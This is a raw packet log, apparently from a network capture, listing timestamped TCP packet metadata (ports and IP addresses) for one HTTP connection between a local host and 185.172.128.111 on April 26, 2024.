Apr 26, 2024 09:41:12.159337044 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159365892 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159394979 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159406900 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159434080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159591913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159636974 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159672022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159713984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159745932 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159760952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159785986 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159800053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.159951925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.159991026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160002947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160028934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160062075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160077095 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160125017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160125017 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160270929 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160315990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160335064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160377026 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160409927 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160424948 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160464048 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160693884 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160744905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160762072 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160804987 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160824060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160855055 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.160866022 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.160895109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161020994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161072969 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161092043 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161134005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161166906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161211014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161222935 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161267042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161334991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161375999 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161389112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161422014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161453009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161494970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161505938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161552906 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161848068 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161895990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161927938 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.161978960 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.161995888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162039042 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162069082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162116051 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162158012 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162208080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162225008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162256956 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162267923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162281036 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162300110 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162337065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162529945 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162580013 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162641048 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162693977 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162725925 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162767887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.162934065 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.162977934 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163132906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163177967 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163222075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163266897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163300991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163316965 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163342953 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163356066 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163383961 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163430929 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163486004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163533926 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163552046 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163567066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163592100 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163606882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163630009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163672924 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.163685083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.163723946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.164681911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.164733887 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.176374912 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.176460981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.176939964 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.176996946 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.177120924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.177167892 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.177181005 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.177223921 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.177244902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.177294970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.184294939 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.184359074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.184465885 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.184509039 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.184529066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.184565067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.184597015 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.184636116 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.184997082 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185045004 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185077906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185116053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185131073 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185167074 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185199976 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185242891 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185545921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185591936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185662985 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185704947 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185736895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185779095 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185794115 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185833931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185851097 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185893059 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185925007 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.185964108 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.185997009 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186041117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186059952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186101913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186115026 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186151981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186192989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186230898 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186270952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186309099 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186341047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186383963 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186403990 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186453104 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186477900 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186518908 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186537027 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186578035 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.186599970 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.186638117 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.199744940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.199861050 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.199877024 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.199919939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.199937105 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.199955940 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.200006008 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.200022936 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.200067043 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.200082064 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.200124025 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.200146914 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.200176954 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.200187922 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.200217962 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208265066 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208348989 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208427906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208451033 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208461046 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208491087 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208518982 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208561897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208595991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208642006 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208676100 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208722115 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208849907 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208894014 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208934069 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.208980083 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.208992004 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.209033966 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.209053040 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.209068060 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.209095955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.209109068 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.209723949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.209770918 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.209892035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.209942102 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210012913 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210059881 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210077047 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210125923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210275888 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210314035 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210325956 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210350990 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210366011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210407972 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210422993 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210469007 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210486889 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210519075 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210534096 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210553885 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210577011 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210617065 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210634947 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210675001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210746050 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210793018 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210803032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210819960 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.210846901 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210864067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.210982084 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211029053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211163998 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211213112 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211247921 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211263895 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211289883 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211316109 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211330891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211376905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211483002 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211535931 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211556911 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211572886 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211601019 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211613894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211639881 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211684942 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211807013 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211858034 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211875916 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211921930 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.211937904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.211985111 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212141991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212188005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212205887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212245941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212307930 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212323904 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212356091 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212368965 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212383032 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212421894 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212527037 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212574005 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212591887 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212631941 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212703943 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212745905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212779045 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212830067 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.212910891 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.212956905 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213114023 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213161945 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213195086 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213237047 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213269949 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213314056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213329077 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213370085 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213449001 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213464975 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213495970 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213512897 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213622093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213675976 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213694096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213741064 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213880062 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213922977 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.213936090 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213963985 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.213975906 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.214008093 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.214019060 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.214046001 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.214078903 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.214111090 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.214123964 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.214152098 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.254460096 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.254497051 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.254571915 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.254582882 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.254585981 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.254612923 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.254661083 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.254708052 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.254873991 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.254921913 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.255455017 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.255502939 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.255573988 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.255624056 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.255898952 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.255949020 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.255966902 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256012917 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.256139994 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256187916 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.256308079 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256356955 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.256486893 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256535053 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.256664038 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256714106 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.256786108 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256834984 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.256917000 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.256977081 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257036924 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257086992 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257117987 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257167101 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257276058 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257327080 CEST	49730	80	192.168.2.4	185.172.128.111
Apr 26, 2024 09:41:12.257390022 CEST	80	49730	185.172.128.111	192.168.2.4
Apr 26, 2024 09:41:12.257437944 CEST	49730	80	192.168.2.4	185.172.128.111
